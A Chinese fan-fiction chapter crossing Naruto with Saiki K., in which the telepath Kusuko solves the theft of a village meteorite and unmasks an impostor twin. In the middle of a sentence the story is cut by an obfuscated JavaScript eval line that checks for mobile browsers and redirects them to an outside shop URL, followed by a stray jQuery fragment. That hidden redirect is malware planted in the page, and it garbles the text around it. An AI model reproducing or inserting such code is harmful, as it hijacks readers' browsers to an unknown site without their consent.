丢失了重要的物品?
楠子蹙起眉,盯视向一个方向,穿过层层大门,哪怕以她现在的视力,也能清晰看清楚中央放置的箱子,确实被掀开了。
‘怎么?难不成是卡卡西?’
她想再去确认一下卡卡西的情况,却已经来不及了。
赤星,星隐村的反对派,已经带着一队人过来了。
【陨石居然丢了!到底是谁?】赤星的心音响得惊人。
‘陨石居然真的丢了?’楠子有些诧异,想要和站在他身边的少女确认,可是对方却没有任何心音传来,静得如同一个瓷器。
‘怎么会这样?’楠子蹙起眉,“妙珊?陨石丢了?”
提出问题,对方只要在思考,就一定会有心音传来。
妙珊看了她一眼,神情烦躁,“是的,丢了!”
没有心音。
心灵感应……失效了?
‘怎么会?’
楠子神情一顿,只要有自己的意识,无论面上多么古井无波,脑袋里的思维都应该不会停转。
这么多年来,楠子已经习惯自己被心声所包围,甚至习惯了自己能够了解所有人的想法。
哪怕有的人的想法会在瞬息间改变,但那心灵之声不会改变,为什么妙珊……居然没有一点心音?
“别站在这里碍事!星隐村可不会因为你是大明星而对你有什么优待。”
被重重推了一把,楠子感觉长门扶住了她的肩头,她却没有在意,嘴角抿出了细细的线,余光依旧停留在妙珊的身上。
白日里,她还能听到她的心声,那现在这个情况,应该是她身上发生了什么变化?
不行!她必须要搞清楚!
眉眼一厉,透视、超级听力、分析……她没有吝啬,将用得上的超能力一起使了出来。
不是衣物、不是饰品,等等……那难道就是……
她有些不确定,看了看周围的人,垂下了头。
‘呼,只要找机会测试一下,应该就知道了吧?’
现在星隐村和雨隐村的忍者都在,在没有出现危险的情况下,她不想轻举妄动。
只是她怎么看,都觉得眼前的妙珊有些违和。
服饰没变,脸上的伤疤也没有。
那么,是语气吗?还是其他什么?
她在思考着,那边萤火已经迎上了星隐村的来人。
“赤星,你在说什么?什么东西丢了?”
“别装蒜了!萤火!你带着这些人来的目的就是那个吧!”名为赤星的忍者直接一把拽住了萤火的衣领。
萤火目光一变,正想说话,旁边的妙珊站了出来。
“萤火大人,赤星大人,这件事很重要,星影大人正在修炼室里等着呢。”她的目光移到了楠子几人身上,“还请这几位,也一起前往。”
-----------------
心中怀抱着疑虑,楠子、长门当然一起前往,连带着身后长门变出的分身,也在某个时间,由真正的卡卡西替换。
“卡卡西,他们似乎丢了东西……”长门的眼睛里带着试探,卡卡西只是略一摇头,他便收回了视线,只是盯着有些异常的楠子看。
楠子此刻根本顾不上卡卡西,余光还锁定在妙珊身上。
此刻,星影、萤火、赤星、星隐村的护卫忍者,以及他们一行人都到了,小小的修炼室中,顿时没了多少空间。
赤星猛地朝萤火发难,“妙珊看见了,是你们这里的忍者偷走了陨石!妙珊,你说是谁?!”
‘她……看见了?不对,卡卡西应该并未来得及靠近这间屋子。’
至少卡卡西的心声是这样说的,可楠子现在已经听不见妙珊的心声,只能用复杂的目光望着她,看着她颤抖着抬起了手,指向了……
赤星!
“是赤星大人!他、他偷走了陨石,还说、要独占陨石!”她猛地跪了下来,膝盖重重磕在了地上,神情惶急,“星影大人!都是赤星大人的阴谋!我、我是被逼的!”
赤星那张原本木然的面孔变得狰狞,却又强自冷静,咬牙切齿道,“妙珊,你在说什么?我?偷了陨石?”
“是的!”妙珊膝行两步,更靠近了星影,“就在几天前,赤星大人和我说,星影大人您已经老糊涂了,居然相信萤火大人的话,要停止使用陨石修炼,他说那正好,他就可以独占陨石。”
赤星冷笑一声,“你说我要独占陨石?陨石的力量够大家修炼的,为什么我要……”
“那当然是因为你要取代星影大人,成为真的影!”
妙珊大声地吼了出来,转向星影,目光又变得哀戚。
“星影大人,我的父母,都是您身边最忠诚的护卫,您难道不相信我吗?”
她仰着头,看着星影,如果不是妙珊头巾和服饰都偏男性气质,那恐怕真的是一幅极美的图像。
只是,有些不协调。
楠子望着面前的“剧情”,却在想着妙珊这个人。
虽然只是匆匆见了一面,但她好歹也听过对方的心声,如果对方是这样一个唱念做打样样精通的人的话,心灵应该不会那样纯净吧?
这样的心声,反而像是……
她的眉头一动,脚步微移,“卡卡西,妙火呢?”
“我不知道。”卡卡西瞬间回复,简直像是设定好的一般。
‘啧……我又不是在查岗。’楠子颇为无语,又去看长门。
长门垂下头,说:“她说她有点不大舒服,在帐篷里面休息,有人在看着她。……楠子,有什么问题吗?”
楠子神色莫测,摇了摇头。
只是心底却涌上了巨大的异样之感。
与世隔绝的村落,被重重保护的秘宝,利弊参半的禁忌仪式,进步的新青年,远道而来的客人,外加村落里的双胞胎少女……
这是《零·红蝶》!
咳咳咳,串台了……不是,这应该是偏远山庄的民俗案件吧?
她看向了妙珊。
‘而后,按照推理小说的套路来看的话,使用的诡计就该是……’
“等等!”一声断喝打断了那边试图继续靠近星影的妙珊,卡卡西站了出来,连楠子的注意力都被吸引了过去。
“你们也太过分了吧!我们就在这里,也不可能就这样站着让你们污蔑!”
赤星咬着牙,“方才被污蔑的可是我呢!”
卡卡西微一摇头,“无论如何,你们都把我们牵扯了进来。我们不可能坐视,何况,我们这里可有着名侦探呢!是吧?楠雄。”
呃?名侦探什么啊?楠雄什么啊?
‘方才不还因为我和长门之间的默契而生气呢吗?究竟又怎么想到了名侦探楠雄上了啊?难不成你以为我会开心吗?’楠子瞪大眼睛看向了卡卡西。
可她……确实有点开心,因为卡卡西的心音在说:
【楠子,没问题的。】
连他的眼神也带着信赖与支持。
‘就这么信任我吗?可是,我的强大是建立在超能力之上的啊。……呀嘞呀嘞,或许只有推理能力不是。’
心情恢复了平静,楠子踏前一步,“你们说,你们的陨石丢掉了,就在这里?”
“嗯?”赤星转过头,嘴角都扭曲了,“楠雄?你不会以为你长了一张帅脸,就真是名侦探了吧?”
楠子点点头,按住了下巴,“我是长了一张帅脸,但也真的是名侦探。现在我,可是要恢复你的清白呢。”
赤星的眼神终于多了点色彩,“你都知道些什么?!”
“呵,没什么能逃过我的眼睛。”
齐木楠子进入了侦探模式,迈着步子,在这并不算大的空间里绕过了一圈,又看向了几人进来的大门,最后是地上的脚印。
这里被清扫得干净,普通人来看的话,自然什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17726031|202822||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
都看不出来,可她是齐木楠子,轻而易举地发现了其中的不妥之处。
嘴角的笑容多了一抹自信,她点了点额头,道:“如果我没猜错的话,这里原本应该有两个守卫吧?其中一个,是妙珊?”
“是这样。”赤星瞥向了妙珊,“今夜是妙珊和另外一个忍者负责看守这间修炼室。只是另外一个守卫,因为……受到攻击,已经陷入了昏迷。”
赤星原本想说,这是受到你们的攻击的,但是经过妙珊的诬陷,他早就发现了整件事的不妥之处,只模糊说了一句。
“嗯,但与其说是攻击,不如说是毒吧?”楠子的余光扫向了妙珊,果然见她手指微微一颤。
那动作极其细微,如果不是她正在观察,说不定真的会放过这个细节。
‘对,就是这样,就算不用心灵感应我也能够判断出人心才对。’
楠子迈出一步,“因为如果是攻击,哪怕再怎么差劲的忍者,第一瞬间的反应也该是躲避或者反击,但我看方才门口并未留下打斗的痕迹,连墙角的灰尘都很均匀。
“只有站立处的脚印,和膝盖落地留下的印子,如果我没猜错的话,那个人,应该是中了毒,支撑不住,所以才倒在了地上。”
赤星紧皱起眉,看向妙珊,一声冷笑,“所以,只有妙珊,你才能……”
“是赤星大人让我下的毒!”妙珊先声夺人,泪莹于睫,“你们怎么都不明白?都是他逼迫我!星影大人!我……”
她试着朝着星影的方向奔去,萤火却已经率先一步挡在了星影的面前,目光复杂地望着她:“妙珊……”
他没有把话说完,但那眼中的复杂和惋惜却是那么明显。
妙珊猛地一怔,似是不敢置信,“萤火大人,居然连你都不相信我吗?”
萤火闭了闭眼,“妙珊,你这一次,真的做错了。”
楠子“听”得清楚明白,萤火心声明明在剖白,他虽然和赤星有着不同的理念,但现在的情况明显就是妙珊在陷害赤星。
妙珊自然也明白了,楠子看不见,但她的嘴角抽搐了一下,眼底的惶急终于转变成了讽刺和厌恶。
“呵、呵呵……”她脚步踉跄,后撤了几步,怒吼出声:“你在装什么装啊!明明这一次,将外人引来,计划要偷走陨石的是你吧?!我都已经替你做了那么多,只要你把赤星钉死就好!为什么?为什么要来指责我?”
“呵,我就知道,萤火你不可信,还有你们。”赤星阴恻恻的目光转了过来,扫视向了在场的几个忍者。
可楠子只是无语。
她望着站在正前方的星影。
这位老人紧皱着一张脸,低垂着目光,似乎不知道在想些什么。
但那只是似乎。
只要身为“影”,就得学会平衡。
赤星和萤火,只是天秤上的两个选项而已,一个是继续修炼,趁着人都没死绝前壮大村子,一个是休养生息,再不考虑称霸之路。
而星隐村,还远远称不上是一个成熟的忍者村,星影的责任重大,却因为村子先天资源不足,无法割舍陨石修炼的利益。
“我倒是能够理解呢。”她说。
赤星笑容更冷,“你不过是一个外村的忍者,你知道些什么!”
楠子摇了摇头,叹息一声:“就凭你们还完全没认出她是谁,我就觉得,她有资格厌恶这样的村子。”
在场的忍者皆是一怔,或许只有不在意这些的长门,和已经稍有预料的卡卡西没有太过惊讶,但还是一起看向了场中的少女。
她身量不高,头上围着厚厚的头巾,一头头发散乱在肩头,小麦色的肌肤,脸颊上有着短短的十字形刀疤,牙齿紧紧咬起,眼睛里充满了仇恨的火焰。
那种鲜活而炽烈的模样,就像是活跃在忍者小说里的复仇之女。
楠子,如叹息一般,念出了她的名字:
“好久不见,妙火。”